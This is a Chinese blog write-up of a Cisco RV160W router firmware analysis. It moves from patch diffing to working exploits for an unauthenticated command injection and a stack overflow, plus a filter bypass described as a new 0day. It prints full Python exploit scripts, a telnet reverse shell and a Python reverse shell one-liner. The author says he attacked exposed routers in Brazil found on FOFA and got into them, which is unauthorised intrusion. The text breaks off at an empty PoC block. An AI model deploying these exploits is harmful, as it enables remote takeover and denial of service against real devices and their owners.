# Cisco RV160W系列路由器漏洞：从1day分析到0day挖掘

## 前言

最近在分析思科RV160W这款路由器最新曝出的无条件RCE漏洞，官方已经推出更新补丁了，我diff固件查看变动代码，结果有了一些新发现

<https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv160-260-rce-XZeFkNHf.html>

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F51391186f292c9c521a85c1d4cabf7cd5cb43cf5.png?generation=1628152838524700\&alt=media)

## 固件初步分析

根据官方的通告，Cisco Small Business RV160、RV160W、RV260、RV260P 和 RV260W VPN 路由器基于 Web 的管理界面中存在多个漏洞，可能允许未经身份验证的远程攻击者以root用户身份在受影响的设备上执行任意代码。这些漏洞在固件v1.0.01.02版本被修复

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fd3035f3957268fcee022f3ad0a390ec8275c817b.png?generation=1628152823928233\&alt=media)

我去[Cisco Software Center](https://software.cisco.com/download/home/286316464/type/282465789/release/1.0.01.01)下载了两个版本固件

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F239314805d80bdd14a41e2db9e98714e1d7fc872.png?generation=1628152838689162\&alt=media)

版本v1.0.01.01就是存在漏洞的固件

binwalk解压固件，寻找提供web服务的二进制文件，其实可以根据rc.d与init.d目录的一些初始化脚本盲猜,这里本着通用性与研究性的目的用另一种方式寻找。

由于手里没有设备，firmadyne有点鸡肋，于是我在油管上找了个RV160W的配置教程，观察浏览器上方的url，根据关键字符“configurationManagement”定位到admin.cgi，进而定位到web组件是mini\_httpd(32位arm小端程序)。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fa5700adf2b646bfe8acc68965ab42b9ceca653b9.png?generation=1628152815009121\&alt=media)

```
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/null
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
www/gettingStarted.htm
www/configurationManagement.htm
www/app.min20200813.js
www/home.htm
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/null
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd 
./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped
```

定位到web服务程序后，我们对两个版本固件的mini\_httpd程序进行二进制代码对比(当然也有对 admin.cgi 进行对比，也存在不少改动代码，但这次我只关注mini\_httpd组件部分)

最经典的是[bindiff](https://www.zynamics.com/software.html)这款工具，但是我用它并没有找到关键代码改动部分

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F722aaa4942b099f9f6eadcebdd8fc56f10c69773.png?generation=1628152843604515\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F2cdb8186892636ff318928409144ba26928b02cc.png?generation=1628152815918218\&alt=media)

之后又使用了一款IDA插件[diaphora](https://github.com/joxeankoret/diaphora),导出sqlite数据库后进行对比，发现 mini\_httpd2 的 sub\_1B034 函数（对应mini\_httpd1的sub\_1AF58函数）和sub\_15CE4函数（对应mini\_httpd1的sub\_15CE4函数）改动较明显。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F07c6c51e22e312ad7a6d331ab120f3e7d7cd11f8.png?generation=1628152839106859\&alt=media)

![mini\_httpd1](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F549c46c263c1b609f5437556d0d001a3b0025486.png?generation=1628152830913477\&alt=media)

**分析sub\_1AF58函数改动部分**

分别定位到两个程序相关代码部分

mini\_httpd1

![mini\_httpd1](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F1da0153b8b8a58c11da4f0b050d43337b14e129d.png?generation=1628152841334696\&alt=media)

mini\_httpd2

![mini\_httpd2](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F29ef8fc5f7ceb45cf3e2bf6e2c7f4e86465d4da0.png?generation=1628152811033230\&alt=media)

在新版本的sub\_1B340中，将格式化后的v3作为参数传递给system，在这之前v3经过了一次sub\_1B034函数

sub\_1b034函数是新加入的，里面大概是过滤字符的功能

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fd4b0268231cef6e75f0776d48bf4060cb6169873.png?generation=1628152834869367\&alt=media)

这里已经不能再明显了，system函数处存在命令注入，于是mini\_httpd2用过滤危险字符的方式修复了这个漏洞。

**分析sub\_15CE4函数改动部分**

mini\_httpd1

![mini\_httpd1](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F2f3a398a2d568b6918cdeba60f65a97facd7b613.png?generation=1628152839109543\&alt=media)

mini\_httpd2

![mini\_httpd2](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F0a8dcbd60e495b90901c5cd5bb2b4f4f25e2e789.png?generation=1628152832980409\&alt=media)

将strcpy函数替换成了strncpy函数。断定此处strcpy存在栈溢出漏洞。

对固件的初步逆向分析后，基本判定老版本固件至少存在命令注入和栈溢出这两个漏洞。

## 固件模拟

模拟httpd服务,为了之后附加进程调试，我选用qemu系统模式进行模拟。

拷贝1.0.01.01固件文件系统进qemu，挂载一些关键目录后以chroot执行sh.

```
root@debian-armhf:~/rootfs# ls
bin  etc  media  overlay  rom    sbin  test_scripts  usr  www
dev  lib  mnt     proc      root    sys   tmp        var
root@debian-armhf:~/rootfs# mount -t proc  /proc/ ./proc/
root@debian-armhf:~/rootfs# mount -t devtmpfs /dev/ ./dev/
root@debian-armhf:~/rootfs# chroot . ./bin/sh

BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)

/ #
```

在运行mini\_httpd之前可能需要初始化环境目录，这些往往都在rc.d与init.d启动脚本里面，所以全局搜索引用“mini\_httpd”的地方

```
b0ldfrev@ubuntu:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/null
etc/scripts/mini_httpd/mini_httpd.sh
etc/rc.d/S23mini_httpd.init
etc/init.d/mini_httpd.init
etc/init.d/config_update.sh
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
```

发现`etc/scripts/mini_httpd/mini_httpd.sh` 与 `etc/rc.d/S23mini_httpd.init` 与 `etc/init.d/mini_httpd.init` 这些里面的内容都差不多，大概都是初始化一些文件然后最终启动`/usr/sbin/mini_httpd`

```
#!/bin/sh /etc/rc.common

START=23

version_gt() {
    test "$(echo "$@" | tr " " "\n" | sort -n | head -n 1)" != "$1";
}
get_version() {
    version=`cat $1 | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
    if [[ "${version/V/}" != "$version" ]]; then
        version=`echo $version | awk -F 'V' '{print $2}'`
    fi
    echo $version
}
start() {
    fwLgPath="/www/lang"
    mntLgPath="/mnt/packages/languages"
    mkdir -p /tmp/download
    mkdir -p /tmp/download
    mkdir -p /tmp/download/certificate
    mkdir -p /tmp/download/log
    mkdir -p /tmp/download/configuration
    mkdir -p /tmp/www
    mkdir -p /tmp/portal_img
    if [ ! -d /mnt/packages/languages ]; then
        mkdir -p /mnt/packages/languages
        cp -rf ${fwLgPath}/* ${mntLgPath}
    else
        # check version
        list="English Spanish Frensh German Itailian"
        for i in $list; do
            if [ -f ${fwLgPath}/${i}.js ]; then
                if [ -f ${mntLgPath}/${i}.js ]; then
                    tmp_version=`cat ${mntLgPath}/${i}.js | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
                    fw_version=$(get_version ${fwLgPath}/${i}.js)
                    mnt_version=$(get_version ${mntLgPath}/${i}.js)
                    if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then
                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                    elif ! version_gt $mnt_version $fw_version; then
                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                    fi
                else
                    cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                fi
            fi
        done
    fi

    /etc/scripts/mini_httpd/mini_httpd.sh start
}

stop() {
    /etc/scripts/mini_httpd/mini_httpd.sh stop
}

reload() {
    /etc/scripts/mini_httpd/mini_httpd.sh reload
}
```

我试着运行了一个

```
/ # /etc/init.d/mini_httpd.init
uci: Entry not found
Syntax: /etc/init.d/mini_httpd.init [command]

Available commands:
    start    Start the service
    stop    Stop the service
    restart    Restart the service
    reload    Reload configuration files (or restart if that fails)
    enable    Enable service autostart
    disable    Disable service autostart

/ # /etc/init.d/mini_httpd.init start
uci: Entry not found
ls: /mnt/configcert/confd/startup/: No such file or directory
use backup cert for mini-httpd ...
1 0 0 0
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
/ #
```

发现报错can't bind to any address，这个报错在mini\_httpd程序中，此时一些文件其实已经初始化了，我们可以只关注mini\_httpd程序本身。

我们直接运行mini\_httpd，同样的报错

```
/ # /usr/sbin/mini_httpd 
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
```

错误原因是setsockopt函数在调用时协议参数不合法，经过一番尝试后无果；最后想到这种设置套接字属性的函数，其实hook掉对连接的影响也不是很大，关键服务能起来就行。

定位到程序报错点，是setsockopt失败返回负值导致的错误。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F88458e4eeca21b85dca75c2d9640e1a9294fad1c.png?generation=1628152843464298\&alt=media)

我索性将setsockopt函数hook全返回1

```c
/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook  */
#include <stdio.h>
#include <stdlib.h>
#include<sys/socket.h>

int setsockopt(int sockfd, int level, int optname,
                      const void *optval, socklen_t optlen)
{

return 1;
}
```

```
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)

/ # LD_PRELOAD="/hook" ./usr/sbin/mini_httpd
bind: Address already in use
/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only

/ # ps |grep mini_httpd
 2364 root      3540 S    ./usr/sbin/mini_httpd
 2369 root      3120 S    grep mini_httpd
```

可以看到服务跑起来了，访问试试

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fcfc5941065ca37279fef4d501516eea23b7e7f25.png?generation=1628314537171132\&alt=media)

根据403字符定位到程序中

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F950097e6eec4d92d0bb8b460816a2780270bdc83.png?generation=1628152822050904\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fb2c8b604001b8645ebd124f69d0b12560b9e7c17.png?generation=1628152822886202\&alt=media)

执行sub\_1b5f0函数后就退出了，猜测是某些环境变量的问题，这里为了不改变代码逻辑，我直接patch mini\_httpd程序代码块，把跳转 sub\_1B5F0的地方nop掉

![before\_nop](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F100d0bf4af6a7cded3f33c77118dce660d4ecaae.png?generation=1628152817939403\&alt=media)

![nop](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fc9cf964f22a32ec61c20e8711b6257606077d431.png?generation=1628152840506909\&alt=media)

再次执行程序后访问web

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F0ee39b3bf8151c783f108d85a90f686d40804ef4.png?generation=1628314538205440\&alt=media)

## 固件逆向分析与调试

接下来就是对mini\_httpd的详细逆向过程，其实就是寻找触发路径。

### 命令注入漏洞分析

我把漏洞触发函数改成了vuln，以及调用vuln的上层函数vuln\_back1，上上层函数vuln\_back2........

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F702512a45045eee1f87cf7ebb61963ec7313c277.png?generation=1628152838037590\&alt=media)

#### vuln\_back2

在vuln\_back2中看出，我们只需要contrl\_arg字符串里面包含`"dniapi/"`即可进入vuln\_back1

![vuln\_back2](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F9f207cc2b506d9fad3b8ce47683a008aedc9cddf.png?generation=1628152831970461\&alt=media)

在往上看，contrl\_arg被赋值成dword\_34F60 + 1，并且dword\_34F60第一个字符必须为`'/'`,这里可以猜测contrl\_arg是一个请求行的URL

![vuln\_back2](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F6e27c355682828964b5033b5163f3dc15f0a5a30.png?generation=1628152825908455\&alt=media)

为了验证我的猜测，动态调试一下，由于所有的请求都被放在了fork子进程中处理。我这里暂时为了方便调试，hook了fork函数返回0，构造了`GET /hello.txt`

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Ff1bf5ec749a62ca0a191d4ce5d351b2859081756.png?generation=1628152828850620\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fe53ce2b667be58ac01f01a65e02514555ec479d9.png?generation=1628152839816612\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F71d35e0558d57fa4bb918702b3310bc798c9ddd4.png?generation=1628152819848415\&alt=media)

#### vuln\_back1

在vuln\_back1中判断了contrl\_arg是否是相关字符，不是就会去执行vuln，调用vuln时传入了contrl\_arg这个参数

![vuln\_back1](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fc7561e978795740a0e7519ac07b5f45a30461733.png?generation=1628152837963374\&alt=media)

#### vuln

vuln函数里面还有最后一层判断，必须让contrl\_arg的前9个字符等于`"download/"`

![vuln](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F26f3371191dd80c229eff960761b79ce1f031cf8.png?generation=1628152843637180\&alt=media)

所以综上，我们可以构造GET请求URL为"/download/dniapi/"，为了能触发system函数，我还需要调整contrl\_cmd的值为`"Basic "`

查找引用，发现在vuln\_back2函数中给contrl\_cmd赋值

![vuln\_back2](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F61262aa03a86bab521c3fb931448de795facc73a.png?generation=1628152837124751\&alt=media)

大胆猜测，这里就是HTTP的head的Authorization字段

综上，最终能触发到system函数的请求大致如下(当然实际还需添加一些标准head)

```
GET /download/dniapi/ HTTP/1.1
Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx
```

vuln通过sub\_1E19C函数处理`contrl_cmd + 6`（`Basic`之后的字符串），结果放入v5，最终将v5作为拼接命令的一部分。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F3878b3d24d6cba7c1d74a1dc24cf670bc4cd81d2.png?generation=1628152840097852\&alt=media)

![table](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F694a7c24ed65afd490a37a70034a82b1f159ba0f.png?generation=1628152818924432\&alt=media)

3字节一组，以及明显的base64解码字符表，经验证sub\_1E19C就是base64解密函数。

所以只需要将请求`Authorization: Basic`后的字符换成想要执行命令的base64编码形式，同时用`;`字符截断原有的curl命令，就可以执行任意命令，下面以date命令为例。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F8762c8e491e2aca663f644f40ea05f34d032b23a.png?generation=1628152843584933\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F907831232e5ab6f21697ce9caf3108c992db2dc2.png?generation=1628152833939878\&alt=media)

### Command Inject EXP

```python
import requests
import sys
import base64
import urllib3

if len(sys.argv)!=3:
    print "Parameter error. python exp.py url \"command\""
    exit(0)

url = sys.argv[1]
cmd =  sys.argv[2]

CMD=";"+cmd+";"
CMD=base64.b64encode(CMD)

header = {'Authorization':"Basic "+CMD}

urllib3.disable_warnings()

if url[-1:]=='/':
   url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)

print "DONE!"
```

### 栈溢出漏洞分析

同样我将漏洞触发函数重命名成overflow,上层函数overflow\_back1、overflow\_back2

在vuln\_back2函数里，处理 cookie 并且作为参数传入overflow\_back2函数。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fab456747d459e2ff56dcbefd24e261d860afa723.png?generation=1628152841201026\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F496f5d9fae1396fa083757c2db26c1887ea6284c.png?generation=1628152816838495\&alt=media)

在这之前会有一个check，检查当前请求的url资源内容是否是需要登录才能访问

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F13db587443f74d7bdc6e2d001b0fd473c27f24d8.png?generation=1628152821089285\&alt=media)

所以这里需要请求这些资源，使其返回1。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fcb6f017315cf0c59dd6eb64869f053a1fa734774.png?generation=1628152835890973\&alt=media)

overflow\_back2里判断cookie不为空后进入overflow\_back1

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F52cc073898a56048f5fcf230f27bf9a18bfa239c.png?generation=1628152836854666\&alt=media)

然后就是检索cookie是否包含sessionID，包含的话，将其以空格分隔后，传入overflow函数

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F6d8eca0509de8f717382c72fe070d973b5132cb1.png?generation=1628152839677134\&alt=media)

overflow函数中形参a2指向空字符，所以其实最后就是未限制sessionID长度在strcpy时的溢出。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fd8f7ba2411b8e2a81645a7377f00207f8f4c0d56.png?generation=1628152837467117\&alt=media)

POC如下：

```python
import requests
import urllib3
import sys

url = sys.argv[1]

if url[-1:]=='/':
   url=url[:-1]

cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac"

payload = "sessionID="+cmd

urllib3.disable_warnings()

url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)

print(r)
print(r.text)
print(r.content)
```

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Ff2abd1d7d1a8f5bd5dbae2967aaa88b85085a79a.png?generation=1628152840950747\&alt=media)

分析crash结果，得知是在overflow函数返回前抛出的内存引用异常。原因是数据过长，覆盖了压入栈中的第五个参数a5，它刚好位于返回地址下方，导致最后一个strcpy往a5变量地址写数据时，该地址不合法。

所以为了能够保证利用，需要刚好覆盖到overflow函数的返回地址。

经过调试，测得偏移为268,POC如下：

```python
import requests
import urllib3
import sys

url = sys.argv[1]

if url[-1:]=='/':
   url=url[:-1]

payload = "sessionID=1234".ljust(268,"a")+"bbb"

urllib3.disable_warnings()

url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)

print(r)
print(r.text)
print(r.content)
```

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F7c11c4308c3c9d4277ff5f9c67dc5d845c8d574d.png?generation=1628356198992482\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F30750e182807bad52b30dc0fa1634e3c5dacd6fa.png?generation=1628356201470450\&alt=media)

可以看到返回地址被覆盖成了bbb（0x626262），且可以观察到此时的r0寄存器指向sessionID=后的字符串1234...，因此可以在sessionID=后放置命令字符串，然后控制PC跳转到system函数上。由于cookie在overflow\_back1函数中被过滤了空格，在overflow中被过滤了等号，导致命令执行受限，空格可以用${IFS}替换，等号只能避免使用了。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F6df47b5785bed73e36881945628086404ff14ead.png?generation=1628152812322045\&alt=media)

### Stack Overflow EXP

关于system执行命令，我并不想去另寻僻径去ROP或者是上传后门程序，我尝试了很多技巧，最终以这种较为简单且通用的方式弹shell（输入与输出分离）。

```python
import requests
import urllib3
import sys


if len(sys.argv)!=5:
    print "Parameter error. python exp.py url reverse_shell_host input_port output_port"
    exit(0)


url = sys.argv[1]
reverse_shell_host =  sys.argv[2]
input_port= sys.argv[3]
output_port= sys.argv[4]


if url[-1:]=='/':
   url=url[:-1]


cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port

cmd2=cmd.replace(' ',"${IFS}")


payload = ("sessionID="+cmd2+";").ljust(268,"a")
payload += "\x1c\xb1\x01"


urllib3.disable_warnings()

url= url+"/help"
head= {'Cookie':payload}
r=requests.post(url,headers=head,verify=False)

print(r)
print(r.text)
print(r.content)
```

## 本地测试

以Command Inject EXP为例：

```
python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.122.11\",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
```

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F20fa2802435c543d51798bce81cc9a125e7f2323.png?generation=1628152827913018\&alt=media)

## 真实设备测试

由于我手里没有真实设备,只能找一些公网上的设备验证。

用burpsuit抓包获取设备特征

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F71e00fe1b1becac0e2b3ba8205d729ae1aee9cab.png?generation=1628152837702355\&alt=media)

`Content-Security-Policy:`是一个很明显的特征

在fofa上搜索 `header="frame-ancestors 'self' 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline' 'unsafe-eval'"`

我这里只搜索了巴西的

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F568451fb1ba62cee0b52c4c543d9ebc69c16edfb.png?generation=1628152839405645\&alt=media)

用exp打来试试

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fd69b600bc4eef8db917e4b3c46d13257a47e4617.png?generation=1628152813830150\&alt=media)

## 收获0day

一开始我补丁比较的时候就发现，v1.0.01.02固件在sprintf之前加入了字符过滤函数 ![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F29ef8fc5f7ceb45cf3e2bf6e2c7f4e86465d4da0.png?generation=1628152811033230\&alt=media)

该函数完整代码如下

```c
_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024)
{
  _BYTE *v3; // r3
  _BYTE *v4; // r3
  _BYTE *v5; // r3
  _BYTE *v6; // r3
  _BYTE *v7; // r3
  _BYTE *v8; // r2
  int v9; // [sp+10h] [bp-14h]
  _BYTE *v10; // [sp+14h] [bp-10h]
  int v12; // [sp+1Ch] [bp-8h]
  int v13; // [sp+1Ch] [bp-8h]
  int v14; // [sp+1Ch] [bp-8h]

  v12 = 0;
  v9 = a3_1024 - 1;
  v10 = output;
  while ( *input )
  {
    if ( *input == '~'
      || *input == '`'
      || *input == '#'
      || *input == '$'
      || *input == '&'
      || *input == '*'
      || *input == '('
      || *input == ')'
      || *input == '|'
      || *input == '['
      || *input == ']'
      || *input == '{'
      || *input == '}'
      || *input == ';'
      || *input == '\''
      || *input == '"'
      || *input == '<'
      || *input == '>'
      || *input == '/'
      || *input == '?'
      || *input == '!'
      || *input == ' '
      || *input == '='
      || *input == '\t' )
    {
      v3 = v10++;
      *v3 = '\\';
      if ( ++v12 >= v9 )
        break;
    }
    else if ( *input == '\\' )
    {
      v4 = v10++;
      *v4 = '\\';
      v13 = v12 + 1;
      if ( v13 >= v9 )
        break;
      v5 = v10++;
      *v5 = '\\';
      v14 = v13 + 1;
      if ( v14 >= v9 )
        break;
      v6 = v10++;
      *v6 = '\\';
      v12 = v14 + 1;
      if ( v12 >= v9 )
        break;
    }
    v7 = v10++;
    v8 = input++;
    *v7 = *v8;
    if ( ++v12 >= v9 )
      break;
  }
  *v10 = 0;
  return output;
}
```

经分析，它的功能主要是检索字符串，一旦检测到敏感字符，就将在该字符前面加上一个转义符`"\"`

比如我们构造命令`ls -all`,被它处理后字符变成了`ls\ -all`

我试了各种方法，都无法绕过

但是我发现它并没有过滤换行符`"\n"`，这可以让我们使用换行符截断命令，但是我们只能执行一些环境变量目录下的程序，并且还不能跟参数，可能的用处是开启一些对外的接口比如telnetd或其它。

但这也是一个很严重的过滤缺陷，因为我们可以构造`"\npoweroff\n"`来使路由器关机，这直接是拒绝服务攻击了

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F1147e37768e624fbc3f4ddb931b0d165f14a4036.png?generation=1628152843498261\&alt=media)

### EXP

根据上面Command Inject EXP代码，将字符拼接处的;换成\n即可。

```python
# affect firmware version <1.0.01.04
import requests
import sys
import base64
import urllib3

if len(sys.argv)!=3:
    print "Parameter error. python exp.py url \"command with no parameters\""
    exit(0)

url = sys.argv[1]
cmd =  sys.argv[2]

CMD="\n"+cmd+"\n"
CMD=base64.b64encode(CMD)

header = {'Authorization':"Basic "+CMD}

urllib3.disable_warnings()

if url[-1:]=='/':
   url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)

print "DONE!"
```

### 测试

尝试过注入telnetd命令来开启telnetd服务

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fecebb87ac14a1a600fdb6e34b6516823539c1406.png?generation=1628152838506466\&alt=media)

但经1day打进去的公网设备验证发现，该系列路由器里没有配置用户密码。

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F008557c3b441aa1a1764a73678f3f91d5aeb0ea2.png?generation=1628152837305176\&alt=media)

下面只尝试poweroff的命令注入（效果最直观明显）。POC如下

```
